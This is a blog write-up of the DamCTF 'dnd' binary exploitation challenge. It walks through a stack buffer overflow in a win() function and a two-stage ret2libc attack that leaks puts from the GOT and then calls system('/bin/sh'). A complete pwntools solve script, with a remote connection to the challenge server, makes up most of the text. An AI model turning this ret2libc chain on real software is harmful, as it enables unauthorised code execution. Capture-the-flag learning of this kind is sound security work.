Dam_CTF - Blog

Mitigations:

1
󰣇 dam_ctf/pwn/dnd_chall ❯ file dnd
2
dnd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44872667ee2a19d1c8f314775e8e3018619c6d9a, for GNU/Linux 3.2.0, not stripped
3
󰣇 dam_ctf/pwn/dnd_chall ❯ checksec --file=dnd
4
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols    FORTIFY  Fortified  Fortifiable  FILE
5
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   209 Symbols   No  0    1    dnd

this is dynamically linked, no canary , no pie but nx is enabled.

1
we got three files
2
1. dnd - binary file
3
2. libc.so.6 - libc file
4
3. ld-linux-x86-64.so.2 - linker file

So i thought of performing ret2libc attack , now lets gets started.

from the decompiled code:

1
void win(void)
2

3
{
4
  basic_ostream *pbVar1;
5
  char local_68 [32];
6
  basic_string local_48 [9];
7
  allocator local_21;
8
  allocator *local_20;
9

10
  pbVar1 = std::operator<<((basic_ostream *)std::cout,
11
                           "Congratulations! Minstrals will sing of your triumphs for millenia to co me."
12
                          );
13
  std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar1,std::endl<>);
14
  std::operator<<((basic_ostream *)std::cout,"What is your name, fierce warrior? ");
15
  fgets(local_68,0x100,stdin);
16
  pbVar1 = std::operator<<((basic_ostream *)std::cout,"We will remember you forever, ");
17
  local_20 = &local_21;
18
                    /* try { // try from 004028eb to 004028ef has its CatchHandler @ 0040293c */
19
  std::__cxx11::basic_string<>::basic_string<>((basic_string<> *)local_48,local_68,&local_21);
20
                    /* try { // try from 004028fa to 0040290b has its CatchHandler @ 00402927 */
21
  pbVar1 = std::operator<<(pbVar1,local_48);
22
  std::basic_ostream<>::operator<<((basic_ostream<> *)pbVar1,std::endl<>);
23
  std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_48);
24
  std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_21);
25
  return;
26
}

we can see that,in the win function there is buffer overflow. so with it we can control instruction execution, to go there we need to attack the monster that is coming on our way , and well we need to die. just kidding. after our health reaches below 0 , we can go to win function , and then we can play with the overflow…

then again to perform ret2libc attack , we need to defeat the ASLR , eventhough there is no pie , the libc address are randomised due the ASLR in our system , so some how we need to leak the libc address , then again i thought of leaking the puts address from the GOT entries.

our attack plan:

1
1. go to win function
2
2. buffer overflow - control ret
3
3. leak the libc address and again go to main
4
4. then call the system with bin/sh.

then : we can find the offset to be 104 with cyclic patterns.

lets make our first payload,

1
payload = flat (
2
  cyclic(offset),
3
  ret,
4
  rdi_rbp,
5
  elf.got['puts'],
6
  0xdeadbeefdeadbeef,
7
  elf.plt['puts'],
8
  elf.sym['main']
9
)

this above payload leaks the libc address of the puts , so we can find the libc address of it. how does the leak takes place here with the rdi gadget the puts@got is actually as argument for the put@plt , which call puts , it just prints the memory of the address it points to , here we send puts@got , so it will looks like , puts(puts@got) , so it will print the libc address.

to calculate the base address of the libc , we are actually sub the leaked libc with the puts libc offset. since the leaked libc is the puts libc address.

1
libc_base = libc_leak - libc.symbols['puts']

after leaking the libc address , we need to calculate the libc base to find the correct address of the system and the /bin/sh , to craft a syscall to get the shell. second payload :

1
rdi = 0x000000000010f75b
2
pop_rdi = libc_base + rdi
3
payload = flat (
4
  cyclic(offset),
5
  ret,
6
  pop_rdi,
7
  binsh,
8
  system
9
  )

this will loads the address of the bin/sh in to rdi and then , make the system to call the shell.

in case of any mistake , do connect in discord: 0xhyder Solve Script:

1
from pwn import *
2

3
elf = context.binary = ELF('./dnd')
4
libc = ELF('libc.so.6', checksec=False)
5
env = None
6
context.terminal = ['kitty', '-e']
7

8
gdbscript = '''
9
b*main
10
b*0x000000000040201a
11
b*0x0000000000402640
12
c
13
'''
14
ld_path = './ld-linux-x86-64.so.2'
15
libc_path = './libc.so.6'
16
argv = [ld_path, '--library-path', '.', elf.path]
17

18
if args.REMOTE:
19
  p = remote('dnd.chals.damctf.xyz',30813)
20
elif args.GDB:
21
  p = gdb.debug(argv, gdbscript=gdbscript, env=env)
22
else:
23
  p = process(argv, env=env)
24

25
def handle_attack_or_run():
26
  try:
27
    while True:
28
      line = p.recv(1024) # Adjust size as needed
29
      log.info(f"Received: {line.strip()}")
30
      if b'[a]ttack or [r]un' in line:
31
        p.sendline(b'a')
32
      elif b'fierce warrior' in line:
33
        log.success("Reached payload prompt!")
34
        break
35
      elif b'You lost!' in line:
36
        log.warning('Completed all five rounds.')
37
  except EOFError:
38
    log.error("EOF received. The process might have crashed.")
39
    p.close()
40
    exit()
41
  except Exception as e:
42
    log.error(f"Unexpected error: {e}")
43
    p.close()
44
    exit()
45

46
def send_payload():
47
  payload = flat (
48
  cyclic(offset),
49
  ret,
50
  rdi_rbp,
51
  elf.got['puts'],
52
  0xdeadbeefdeadbeef,
53
  elf.plt['puts'],
54
  elf.sym['main']
55
)
56
p.sendline(payload)
57

58
# ======================= Stage 1: Leak =======================
59
handle_attack_or_run()
60

61
ret = 0x000000000040201a
62
rdi_rbp = 0x0000000000402640
63
offset = 104
64

65
send_payload()
66
p.recvuntil(b'forever,')
67
leaked_line = p.recvuntil(b'#').strip()
68
leak = leaked_line[0x27:0x27+6]
69
libc_leak = u64(leak.ljust(8, b'\x00'))
70
log.success(f"[*] Leaked libc address: {hex(libc_leak)}")
71
libc_base = libc_leak - libc.symbols['puts']
72
log.success(f"[*] base libc address: {hex(libc_base)}")
73
binsh = next(libc.search(b'/bin/sh')) + libc_base
74
system = libc.symbols['system'] + libc_base
75
log.success(f"[*] binsh libc address: {hex(binsh)}")
76
log.success(f"[*] system libc address: {hex(system)}")
77

78
# ======================= Stage 2: Exploit=======================
79
handle_attack_or_run()
80

81
rdi = 0x000000000010f75b
82
pop_rdi = libc_base + rdi
83
payload = flat (
84
  cyclic(offset),
85
  ret,
86
  pop_rdi,
87
  binsh,
88
  system
89
)
90
p.sendline(payload)
91

92
p.interactive()